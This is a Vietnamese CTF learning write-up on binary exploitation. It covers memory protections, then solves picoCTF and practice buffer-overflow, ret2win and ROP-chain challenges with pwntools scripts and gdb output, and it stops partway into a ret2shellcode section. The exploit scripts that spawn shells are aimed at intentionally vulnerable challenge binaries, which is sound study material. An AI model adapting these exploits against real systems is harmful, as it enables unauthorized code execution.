## Cơ chế bảo mật ##
**Một số cơ chế bảo mật**
:::spoiler NX
- NX (No - eXecute bit): là một cơ chế bảo vệ ở cấp độ phần cứng (CPU) giúp ngăn chặn việc thực thi mã trong vùng nhớ như stack và heap, NX sẽ đánh dấu vùng nhớ đó ở quyền không thể thực thi để ngăn chặn kỹ thuật ghi và thực thi shellcode trực tiếp trong vùng nhớ stack/heap
:::
:::spoiler ASLR
- ASLR ( Address Space Layout Randomization ): là kỹ thuật bảo vệ ở cấp độ hệ điều hành, như cái tên thì nó được dùng để ngẫu nhiên hóa địa chỉ của các thành phần trong bộ nhớ như: thư viện hệ thống (ví dụ: libc), stack, heap,..
:::
:::spoiler PIE
- PIE (Position Independent Executable): tương tự ASLR nhưng áp dụng cho chính binary của chương trình, khi PIE được bật, địa chỉ của các hàm trong chương trình (ví dụ: main, puts, vulerable) sẽ bị ngẫu nhiên hóa mỗi lần chạy
- Cách bypass: Leak địa chỉ của một hàm trong binary (ví dụ `puts`, `main`, `printf`) thông qua lỗi format string, hoặc ROP. Sau đó tính offset so với base address để tìm các hàm như win... (ví dụ: ở kỹ thuật ret2libc)
:::
:::spoiler Canary
- Canary (Stack Canary): là một giá trị ngẫu nhiên được đặt ngay giữa vùng biến cục bộ và sava rbp trong stack frame của hàm , khi hàm kết thúc, chương trình sẽ kiểm tra xem giá trị canary có bị thay đổi không, nếu có thì chương trình sẽ phát hiện bị tấn công và dừng lại (ngăn chăn buffer overflow)

- cách bypass ở phía dưới ^^
:::
:::spoiler RELRO
- RELRO có 2 loại : RELRO một phần(RELRO) và RELRO toàn phần(full RELRO)
+ RELRO: là một phần cài đặt mặc định trong gcc , hầu như nó không gây ảnh hưởng nào cho attacker, ngoài việc buộc cho GOT phải đứng trước .BSS trong bộ nhớ, khiến cho loại bỏ nguy cơ buffer overflow trên biến toàn cục ghi đè lên các mục GOT -> .got (read) , .got.plt(read_write)
+ Full RELRO: là cơ chế bảo mật đánh dấu vùng nhớ chứa bảng GOT là read only, nhằm bảo vệ GOT không bị overwrite --> .got và .got.plt (read)
- **Manipulate GOT entries** là một kỹ thuật khai thác trong CTF/Pwn, trong đó ta **leak địa chỉ của một hàm trong GOT** (như `puts`, `exit`,...) để xác định vị trí thực của thư viện hoặc binary, sau đó **ghi đè địa chỉ đó bằng địa chỉ của một hàm khác** như `system()` hoặc `win()` nhằm ép chương trình thực thi theo ý muốn.
:::
## Buffer Overflow ##
:::spoiler Khái niệm buffer overflow
- Khái niệm: là một lỗ hỏng trong lập trình, cho phép dữ liệu có thể ghi đề lên buffer có thể tràn ra ngoài buffer đó, và việc ghi đè dữ liệu khác vào sẽ gây ra các hoạt động bất thường của chương trình
- Nguyên tắc khai thác:
+ Dữ liệu quan trọng phải nằm phía sau (địa chỉ cao hơn) so với bộ đệm
+ Phần dữ liệu tràn phải đủ lớn để đè lên được dữ liệu quan trọng
+ Những dữ liệu khác nằm giữa vùng đệm và dữ liệu mục tiêu cũng bị ghi đè. Việc ghi đè đó có thể ảnh hưởng đến logic làm việc của chương trình
- Có rất nhiều cách khai thác lỗ hỏng này như: ghi đè lên biến cục bộ, ghi đè địa chỉ trả về, trở về thư viện chuẩn, ...
:::
:::info
buffer overflow 0 (picoctf)
:::
- Đây là 1 challenge trên web picoCTF với đoạn mô tả như sau
#### Let's start off simple, can you overflow the correct buffer? The program is available [here](https://artifacts.picoctf.net/c/174/vuln). You can view source [here](https://artifacts.picoctf.net/c/174/vuln.c). Additional details will be available after launching your challenge instance.
####
- sau khi tải về tôi nhận được 1 file thực thi và 1 file mã nguồn
- đầu tiên tôi đã kiểm tra xem file này có những cơ chế bảo mật nào
```a
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge$ checksec --file vuln
[*] '/mnt/d/laptrinh/CTF/challenge/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
tôi nhận thấy file đã kích hoạt khá nhiều cơ chế bảo mật. Tuy nhiên, thật may mắn là tôi có 1 file mã nguồn, tôi đã mở file mã nguồn lên để kiểm tra
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
```
- hàm strcpy() là một hàm sẽ sao chép dữ liệu từ một chuỗi nguồn (input) vào bộ nhớ chuỗi đích (buf2), hàm này nó sẽ không kiểm tra kích thước của chuỗi đích nên dễ gây ra buffer overflow, rong khi `input` được lấy từ hàm gets() vốn cũng không kiểm tra độ dài, dẫn đến ta có thể ghi đè save rbp và save rip để khiến cho chương trình gây ra lỗi SIGSEGV để in ra flag
```n
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
```
- Dòng này thiết lập một signal handler cho tín hiệu `SIGSEGV`.Nếu chương trình bị lỗi truy cập bộ nhớ (ví dụ do buffer overflow), thay vì crash ngay, nó sẽ gọi hàm `sigsegv_handler`.
```n
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd1c0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x61616166 ("faaa"?)
$ecx : 0xffffd250 → "xaaayaaa"
$edx : 0xffffd21c → "xaaayaaa"
$esp : 0xffffd1e0 → "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]"
$ebp : 0x61616167 ("gaaa"?)
$esi : 0xffffd334 → 0xffffd492 → "/mnt/d/laptrinh/CTF/challenge/vuln"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x61616168 ("haaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd1e0│+0x0000: "iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaaua[...]" ← $esp
0xffffd1e4│+0x0004: "jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaava[...]"
0xffffd1e8│+0x0008: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
0xffffd1ec│+0x000c: "laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxa[...]"
0xffffd1f0│+0x0010: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0xffffd1f4│+0x0014: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd1f8│+0x0018: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd1fc│+0x001c: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
───────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616168
───────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x61616168 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset 0x61616168
[+] Searching for '68616161'/'61616168' with period=4
[+] Found at offset 28 (little-endian search) likely
gef➤
```
tôi thấy nó đã dừng ở địa chỉ 0x61616168 nên tôi dùng ```pattern offset``` để kiểm tra xem và tôi thấy nó đã đưa vào chương trình 28 byte để bị crash, quay lại với challenge , sau khi xác định được bug buffer overflow thì tôi sẽ truy cập vào Netcat và nhập vào đó một dữ liệu 28 byte
```n
hinn@Ninh:~$ nc saturn.picoctf.net 52248
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_c5ca6248}
````
:::info
buffer overflow 1
:::
Để thực hiện challenge này vui lòng tải về [ở đây](https://drive.google.com/file/d/1R4SGm7FpXuD72iAXwzRK6OqWBrHorVDj/view)
Sau khi tôi tải về sẽ được một file thực thi tên là ```bof2```, tôi đã chạy thử file và có vẻ đây là một file chúng ta cần nhập dữ liệu đầu vào để chạy
```n
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge$ ./bof2
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a = 7044581733924299203
b = 7044581733924299203
c = 7044581733924299203
```
=> ban đầu các biến a,b,c có giá trị = 0
Tiếp theo, tôi sẽ dịch ngược file này trên ida để xem nó có chức năng gì, từ đó sẽ phân tích ra chúng ta cần làm gì
```n
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-30h] BYREF
__int64 v5; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
__int64 v7; // [rsp+20h] [rbp-10h]
int v8; // [rsp+2Ch] [rbp-4h]
v8 = 0;
v7 = 0LL;
v6 = 0LL;
v5 = 0LL;
init(argc, argv, envp);
printf("> ");
v8 = read(0, buf, 0x30uLL);
if ( buf[v8 - 1] == 10 )
buf[v8 - 1] = 0;
printf("a = %ld\n", v7);
printf("b = %ld\n", v6);
printf("c = %ld\n", v5);
if ( v7 == 322376503 && v6 == 3735928559LL && v5 == 3405691582LL )
system("/bin/sh");
return 0;
}
```
Ở đây tôi thấy buf được khởi tạo là 16 byte ở địa chỉ rbp-0x30
theo sau đó là các biến 64bit (8byte): v5,v6,v7 và một biến v8 theo kiểu số nguyên, đặc biệt ở dòng:
```n
v8 = read(0, buf, 0x30uLL);
```
Tôi phát hiện v8 sẽ đọc và truyền dữ liệu vào buf tới tận 48 byte, mà trong khi đó buf ban đầu chỉ được khởi tạo 16byte, điều nãy đã dẫn đến lỗi buffer overflow
```n
if ( v7 == 322376503 && v6 == 3735928559LL && v5 == 3405691582LL )
system("/bin/sh");
return 0;
```
Nhưng mà để nó gọi ra lệnh ```system("/bin/sh");``` thì các biến phải được ghi đè với các giá trị ```v7 == 322376503 && v6 == 3735928559LL && v5 == 3405691582LL```
sau khi đổi sang hệ thập lục phân(hexadecimal) thì các biến sẽ được thêm vào với các giá trị:
v7 == 0x13371337
v6 == 0xDEADBEEFLL
v5 == 0xCAFEBABELL
Để truyền vào v5,v6,v7 các dữ liệu như yêu cầu tôi đã sử dụng ``pwntool``, nhìn vào chương trình ta có thể thấy các dữ liệu sẽ tràn xuống từ buf -> v5 -> v6 -> v7 , vậy nên tôi sẽ tạo một file solve.py để viết các lệnh cần thiết
```n
from pwn import*
p = process('./bof2')
# Tạo payload để ghi đè các biến v5, v6, v7 trong stack
payload = b'A'*16 # Gửi 16 byte đầu tiên để lấp đầy vùng nhớ của biến buf[16]
payload += p64(0xCAFEBABE) # Ghi đè biến v5 bằng giá trị 0xCAFEBABE
payload += p64(0xDEADBEEF) # Ghi đè biến v6 bằng giá trị 0xDEADBEEF
payload += p64(0x13371337) # Ghi đè biến v7 bằng giá trị 0x13371337
# Gửi payload sau khi thấy dấu nhắc '> '
p.sendafter(b'> ', payload)
p.interactive()
#lưu ý: vì các biến v5,6,7 được khởi tạo là 64bit nên dùng p64() để chuyển các số nguyên thành chuỗi 64bit
```
Sau khi chạy thử file, có thể thấy tôi đã thành công để cho file thực thi lệnh ```system("/bin/sh");```
```n
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge$ python3 solve.py
[+] Starting local process './bof2': pid 6178
[*] Switching to interactive mode
a = 322376503
b = 3735928559
c = 3405691582
$
```
Đến đây là đã xong challenge này, nhưng tôi muốn kiểm tra xem dữ liệu đã vào các biến như thế nào, nên tôi sẽ tiến hành debug
Đầu tiên tôi sẽ đặt thêm một hàm ```input()``` trước khi nhập các biến để dừng lại chương trình, tôi tiếp tục chạy lại file solve.py lúc nãy để lấy pid. Sau đó tôi dùng gdb để debug file ```gdb -p 6248```
```n
0x00007ffcdf471b38│+0x0000: 0x0000000000401239 → <main+005c> mov DWORD PTR [rbp-0x4], eax ← $rsp
0x00007ffcdf471b40│+0x0008: 0x0000000000000002 ← $rsi
0x00007ffcdf471b48│+0x0010: 0x000000001f8bfbff
0x00007ffcdf471b50│+0x0018: 0x0000000000000000
0x00007ffcdf471b58│+0x0020: 0x0000000000000000
0x00007ffcdf471b60│+0x0028: 0x0000000000000000
0x00007ffcdf471b68│+0x0030: 0x00000000004010b0 → <_start+0000> endbr64
0x00007ffcdf471b70│+0x0038: 0x0000000000000001 ← $rbp
─────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7d415031484c <read+000c> test eax, eax
0x7d415031484e <read+000e> jne 0x7d4150314860 <__GI___libc_read+32>
0x7d4150314850 <read+0010> syscall
→ 0x7d4150314852 <read+0012> cmp rax, 0xfffffffffffff000
0x7d4150314858 <read+0018> ja 0x7d41503148b0 <__GI___libc_read+112>
0x7d415031485a <read+001a> ret
0x7d415031485b <read+001b> nop DWORD PTR [rax+rax*1+0x0]
0x7d4150314860 <read+0020> sub rsp, 0x28
0x7d4150314864 <read+0024> mov QWORD PTR [rsp+0x18], rdx
─────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof2", stopped 0x7d4150314852 in __GI___libc_read (), reason: STOPPED
───────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7d4150314852 → __GI___libc_read(fd=0x0, buf=0x7ffcdf471b40, nbytes=0x30)
[#1] 0x401239 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
```
Tôi sẽ đặt breakpoint sau hàm read để nó không chạy hết chương trình
```n
gef➤ break *0x0000000000401239
Breakpoint 1 at 0x401239
```
Quay lại với file solve.py tôi ấn enter để nó truyền vào v5,6,7 các dữ liệu tôi đã thiết lập, sau đó quay lại gdb tôi kiểm tra ở stack
```n
0x00007ffcdf471b40│+0x0000: 0x4141414141414141 ← $rsp, $rsi
0x00007ffcdf471b48│+0x0008: 0x4141414141414141
0x00007ffcdf471b50│+0x0010: 0x00000000cafebabe
0x00007ffcdf471b58│+0x0018: 0x00000000deadbeef
0x00007ffcdf471b60│+0x0020: 0x0000000013371337
0x00007ffcdf471b68│+0x0028: 0x00000000004010b0 → <_start+0000> endbr64
0x00007ffcdf471b70│+0x0030: 0x0000000000000001 ← $rbp
0x00007ffcdf471b78│+0x0038: 0x00007d4150229d90 → <__libc_start_call_main+0080> mov edi, eax
```
Có thể thấy 2 dòng đầu là của buf, kế tiếp ở địa chỉ b50,b58,b60 là vị trí của các biến v5,v6,v7. Như vậy có thể thấy là chương trình đã truyền vào đúng dữ liệu như tôi mong muốn.
:::info
Buffer overflow 2 (picoctf)
:::
- Mô tả của chương trình như sau: Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this [program](https://artifacts.picoctf.net/c/143/vuln)?
You can view source [here](https://artifacts.picoctf.net/c/143/vuln.c). And connect with it using nc saturn.picoctf.net 63841
- Tôi bắt đầu mở file source lên để kiểm tra mã nguồn
```c++
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
```
- Khi vừa nhìn vào tôi đã phát hiện ra mục tiêu của bài này là hàm win() tôi cần làm gì đó để gọi hàm win() ra để in flag, ở đoạn dưới để mà chương trình không return thì phải gán các giá trị `arg1 = 0xCAFEF00D và arg2 = 0xF00DF00D`
```c++
void vuln(){
char buf[BUFSIZE]; //#define BUFSIZE 100
gets(buf);
puts(buf);
}
```
- ở hàm vuln() tôi thấy buf được khởi tạo 100byte nhưng lại dùng gets() để đưa dữ liệu vào nên ở đây đã xảy ra lỗi buffer overflow (do hàm gets() sẽ không kiểm tra độ dài của dữ liệu trueyèn vào)
```n
─────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x83
$ebx : 0x62616162 ("baab"?)
$ecx : 0xf7fae9b4 → 0x00000000
$edx : 0x1
$esp : 0xffffd230 → "eaabfaabgaabha"
$ebp : 0x62616163 ("caab"?)
$esi : 0xffffd314 → 0xffffd47c → "/mnt/d/laptrinh/CTF/challenge/vuln"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x62616164 ("daab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
```
- sau khi tôi thử truyền vào chương trinh 150byte thì thấy offset tới eip là 112 có thể được ghi đè nhưng ở chương trình này ta cần phải ghi đè arg1(esi) và arg2(edi) nhưng trước esi và edi thì lại cố ebp nữa
```python
#!/usr/bin/python3
from pwn import *
p = remote('saturn.picoctf.net', 50523)
exe = ELF('./vuln', checksec=False)
#ebp + arg1 + arg2
payload = b'A' * 112
payload += p32(exe.sym['win']) + b'B'*4
payload += p32(0xCAFEF00D) + p32(0xF00DF00D)
p.sendlineafter(b'string: \n', payload)
p.interactive()
```
### Một số kỹ thuật ###
#### RET2WIN ####
- **Ý tưởng**: thay vì thực thi shellcode (bị chặn bởi NX bit), ta ghi đè địa chỉ trả về (RIP - thanh ghi lưu địa chỉ lệnh tiếp theo sẽ được cpu thực thi) để nhảy đến một hàm có sẵn trong chương trình, thường là hàm gọi system("/bin/sh") hoặc hàm "win" do challenge cung cấp.
- Điều kiện:
+ Thường là chương trình sẽ có một hàm "win" sẽ ``` return system("/bin/sh"); ```
+ Có lỗi buffer overflow cho phép ghi đè RIP
+ NX bật
Ở đây tôi có một challenge để giúp dễ hình dung [challenge](https://drive.google.com/file/d/15YrK0CQAeHo1e0OZZ8sg3kd8uPrvhgSv/view), sau khi tải về tôi được 1 file thực thi có tên là bof3
Đầu tiên tôi sẽ kiểm tra xem file này nó có những gì, tôi dùng ida để phân tích file này và thấy rằng ở hàm main có một biến buf được khởi tạo với kích thước 28 byte nhưng lại nhập vào tới tận 48 byte, từ đó có thể thấy rằng nó bị lỗi buffer overflow
```n
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]
v5 = 0;
init(argc, argv, envp);
printf("> ");
v5 = read(0, buf, 48uLL);
if ( buf[v5 - 1] == 10 )
buf[v5 - 1] = 0;
return 0;
}
```
tuy nhiên không giống như những challenge khác mặc dù nó bị lỗi buffer overflow nhưng lại không thấy bất kỳ lệnh nào để gọi system(), nên tôi đã kiểm tra xung quanh các hàm
```n
int win()
{
return system("/bin/sh");
}
```
tôi phát hiện thấy ở hàm win lại có lệnh gọi `system()` nên tôi đã nghĩ đến kỹ thuật ret2win, nên tôi đã kiểm tra file thông qua ``pwn checksec``
```n
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
có thể thấy NX đã được bật , bây giờ tôi sẽ thử đưa 48 byte vào chương trình để kiểm tra xem offset từ bufer đến save RIP
```n
gef➤ pattern search 0x00007fffffffe0f8
[+] Searching for '6661616161616161'/'6161616161616166' with period=8
[+] Found at offset 40 (little-endian search) likely
gef➤
```
Bây giờ tôi muốn sau khi truyền vào 40 byte thì nó sẽ nhảy qua hàm win nên tôi sẽ dùng pwntool, tôi sẽ tạo một file tên là solve1.py để dùng tool này và ghi đè địa chỉ của hàm win lên RIP
```n
from pwn import *
p=process('./bof3')
exe = ELF('./bof3')
payload = b'A'*40
payload+=p64(exe.sym['win']) #lấy địa chỉ hàm từ ELF
p.sendafter(b'> ', payload)
p.interactive()
```
tôi sẽ chạy thử file solve1.py để hoàn thành
```n
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge$ python3 solve1.py
[+] Starting local process './bof3': pid 907
[*] '/mnt/d/laptrinh/CTF/challenge/bof3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './bof3' stopped with exit code -11 (SIGSEGV) (pid 907)
[*] Got EOF while sending in interactive
hinn@Ninh:/mnt/d/laptrinh/CTF/challenge$
```
Tôi phát hiện ở đây sau khi chạy thì nó xuất hiện một lỗi, nên tôi sẽ tiến hành debug động xem nó đã hoạt động như thế nào, tôi sẽ chạy gdb lên và kiểm tra
```n
0x40124d <win+0004> push rbp
0x40124e <win+0005> mov rbp, rsp
0x401251 <win+0008> lea rdi, [rip+0xdaf] # 0x402007
→ 0x401258 <win+000f> call 0x401080 <system@plt>
↳ 0x401080 <system@plt+0000> endbr64
0x401084 <system@plt+0004> bnd jmp QWORD PTR [rip+0x2f4d] # 0x403fd8 <system@got.plt>
0x40108b <system@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x401090 <printf@plt+0000> endbr64
0x401094 <printf@plt+0004> bnd jmp QWORD PTR [rip+0x2f45] # 0x403fe0 <printf@got.plt>
0x40109b <printf@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
```
Ở đây tôi thấy là nó gọi hàm system() nhưng tại sao lại bị lỗi, tôi sẽ cho chương trình tiếp tục chạy
```n
→ 0x716c8ba50973 <do_system+0073> movaps XMMWORD PTR [rsp], xmm1
```
khi chạy tiếp thì tôi bắt gặp một dòng như thế này, lỗi này xuất hiện khi địa chỉ stack mà rsp đang trỏ vào không chia hết cho 16
```n
0x00007fff7d1d6008│+0x0000: 0x0000716c8bdada50 → 0x0000000000000000 ← $rsp
```
để fix lỗi này tôi tôi sẽ thay đổi địa chỉ nhảy vào của hàm win để cho nó có thể chia hết cho 16, kiểm tra hàm win
```n
0x00007ffdca357de0│+0x0000: 0x0000000000000000 ← $rsp
0x00007ffdca357de8│+0x0008: 0x00000000004011dd → <main+0000> endbr64
0x00007ffdca357df0│+0x0010: 0x00000001ca357ed0
0x00007ffdca357df8│+0x0018: 0x00007ffdca357ee8 → 0x00007ffdca35845d → 0x530033666f622f2e ("./bof3"?)
0x00007ffdca357e00│+0x0020: 0x0000000000000000
0x00007ffdca357e08│+0x0028: 0xc49c1d99daf1d0db
0x00007ffdca357e10│+0x0030: 0x00007ffdca357ee8 → 0x00007ffdca35845d → 0x530033666f622f2e ("./bof3"?)
0x00007ffdca357e18│+0x0038: 0x00000000004011dd → <main+0000> endbr64
────────────────────────────────────────────────────────── code:x86:64 ────
0x401242 <main+0065> mov eax, 0x0
0x401247 <main+006a> leave
0x401248 <main+006b> ret
→ 0x401249 <win+0000> endbr64
0x40124d <win+0004> push rbp
0x40124e <win+0005> mov rbp, rsp
0x401251 <win+0008> lea rdi, [rip+0xdaf] # 0x402007
0x401258 <win+000f> call 0x401080 <system@plt>
0x40125d <win+0014> nop
```
ta có thể thấy khi ta nhảy vào đầu hàm win thì nó sẽ là `0x00007ffdca357de0` lúc này tuy có thể chia hết cho 16 nhưng bên dưới ta thấy có lệnh push , lệnh này sẽ giảm RSP đi 8 byte khiến cho nó không thể chia hết cho 16 nữa , nên để fix lỗi này ta sẽ nhảy vượt qua khỏi lệnh push là ở địa chỉ ` 0x40124e <win+0005> ` , ta chỉ cần sửa lại đoạn code trong solev1.py là hoàn thành challenge này.
```n
payload+=p64(exe.sym['win'] + 5)
```
#### ROPchain ####
:::spoiler ROPchain
- Là kỹ thuật khai thác các đoạn mã nhỏ (gadget) đã có sẵn trong binary hoặc trong các thư viện, mỗi gadget thường kết thúc bằng ret, cho phép chương trình nhảy từ gadget này qua gadget khác
`ROPgadget --binary ./[binary] | grep 'pop ___'`
:::
Ở đây tôi có một [thử thách](https://drive.google.com/file/d/1zr9EWGfMQxB7Z_pAbKgj08lMJaUej3Xp/view) ví dụ về kỹ thuật này, sau khi tải về ta sẽ được một file thực thi tên bof4, tôi sẽ dùng `pwn checksec` để kiểm tra nó đã được bật các lớp bảo vệ nào
```n
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
```
Có thể thấy đây là một file 64bit, và NX đã được bật nên không thể chèn shellcode. Bây giờ tôi sẽ tiến hành dùng ida64 để kiểm tra các hàm của file
```n
char v8[80]; // [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
printf((unsigned int)"Say something: ", (_DWORD)argv, v3, v4, v5, v6, v8[0]);
gets(v8);
```
- Vừa nhìn vào tôi đã thấy ngay ở chương trình này xảy ra lỗi buffer overflow, mục tiêu của bài này chính là có thể gọi được hàm `execve('/bin/sh', null, null)` trên x84_64 thì chúng ta cần truyền cho các thanh ghi:
+ rax : 59
+ rdi : /bin/sh
+ rsi : null
+ rdx : null
- Để làm được việc này tôi sẽ sử dụng `ROPgadget` kết hợp với `grep` để tìm được địa chỉ của các hàm cần thiết
`ROPgadget --binary bof4 | grep "____"`
```n
pop_rdi = 0x000000000040220e
pop_rsi = 0x00000000004015ae
pop_rdx = 0x00000000004043e4
pop_rax = 0x0000000000401001
syscall = 0x000000000040132e
```
- Sau khi có các địa chỉ cần thiết tôi sẽ xác định offset đến RIP của file này thông qua gdb
```n
gef➤ pattern search 0x00007fffffffe1c8
[+] Searching for '6c61616161616161'/'616161616161616c' with period=8
[+] Found at offset 88 (little-endian search) likely
```
Tuy nhiên khi tìm kiếm tôi đã không thấy thanh ghi nào chứa "/bin/sh" vì thế nên tôi sẽ tìm một vùng nhớ trống( có quyền r_w ) để đưa "/bin/sh" vào rồi thực hiện kỹ thuật ROPchain
```n
rw_section = 0x406ec0
```
bây giờ tôi sẽ tạo một file solve2.py để dùng pwntool
```python
from pwn import *
exe = ELF('./bof4', checksec = False) #phân tích file ./bof4 để lấy các symbol
p = process('./bof4')
pop_rdi = 0x000000000040220e
pop_rsi = 0x00000000004015ae
pop_rdx = 0x00000000004043e4
pop_rax = 0x0000000000401001
syscall = 0x000000000040132e
rw_section = 0x406ec0 # vùng nhớ trống để ghi /bin/sh (r_w_)
#ghi /bin/sh vào vùng rw
payload = b'A'*88 # nhập vào để ghi đè đến RIP
payload += p64(pop_rdi) + p64(rw_section) # gọi thanh ghi rdi để trỏ vào vùng rw_section
payload += p64(exe.sym['gets']) # gọi hàm gets() để ghi /bin/sh
#execve("/bin/sh", 0(rsi) , 0(rdx))
payload += p64(pop_rdi) + p64(rw_section) # mov rdi, rw_section
payload += p64(pop_rsi) + p64(0) # xor rsi, rsi
payload += p64(pop_rdx) + p64(0) # xor rdx, rdx
payload += p64(pop_rax) + p64(0x3b) # mov rax, 59
payload += p64(syscall) # syscall
input() #dừng lại để ktra debug động
p.sendlineafter(b'something: ', payload) # sau khi hiện 'something: ' thì mới truyền payload vào
p.sendline(b'/bin/sh') # nhập /bin/sh vào rw_section
p.interactive()
```
tôi sẽ debug động để kiểm tra xem nó đã hoàn thiện hay chưa
```n
0x4043e0 <frexpl+0090> sub DWORD PTR [rdi], 0x78
0x4043e3 <frexpl+0093> pop rax
0x4043e4 <frexpl+0094> pop rdx
→ 0x4043e5 <frexpl+0095> add rsp, 0x28
0x4043e9 <frexpl+0099> ret
0x4043ea nop WORD PTR [rax+rax*1+0x0]
0x4043f0 <wctomb+0000> endbr64
0x4043f4 <wctomb+0004> test rdi, rdi
0x4043f7 <wctomb+0007> je 0x404410 <wctomb+32>
```
Gadget pop rdx không chỉ thực hiện pop rdx mà còn có add rsp, 0x28, tức là sau khi thực thi, stack sẽ bị dịch xuống thêm 0x28 bytes. Nếu không thêm padding, các giá trị tiếp theo trong payload sẽ bị bỏ qua.
```python
#execve("/bin/sh", 0(rsi) , 0(rdx))
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += b'B'*0x28
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)
```
#### ret2shellcode ####
:::spoiler Khái niệm
- Là một kỹ thuật để ghi đè return address đến được shellcode
1. Đặt shellcode vào buffer trên stack (có quyền rwx).
2. Ghi đè return address bằng địa chỉ của buffer chứa shellcode.
3. Khi hàm kết thúc và thực hiện lệnh ret, chương trình sẽ nhảy vào shellcode và thực thi nó.
:::
:::info
ret2shellcode không leak
:::
- Tôi có một challenge [ở đây](https://drive.google.com/file/d/1LcZOT-QJuKP8Jup4BSjiu4mUh7yvZCEl/view)
- Sau khi tải về tôi tôi tiến hành kiểm tra checksec của file và dùng ida64 để dịch ngược
```n
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
```
- Tôi thấy ở đây NX đã tắt đi nên sẽ có thể thực thi shellcode trên stack
```n
void *__fastcall run(void *v4)
{
char v2[524]; // [rsp+10h] [rbp-210h] BYREF
int v3; // [rsp+21Ch] [rbp-4h]
v3 = 0;
puts("What's your name?");
printf("> ");
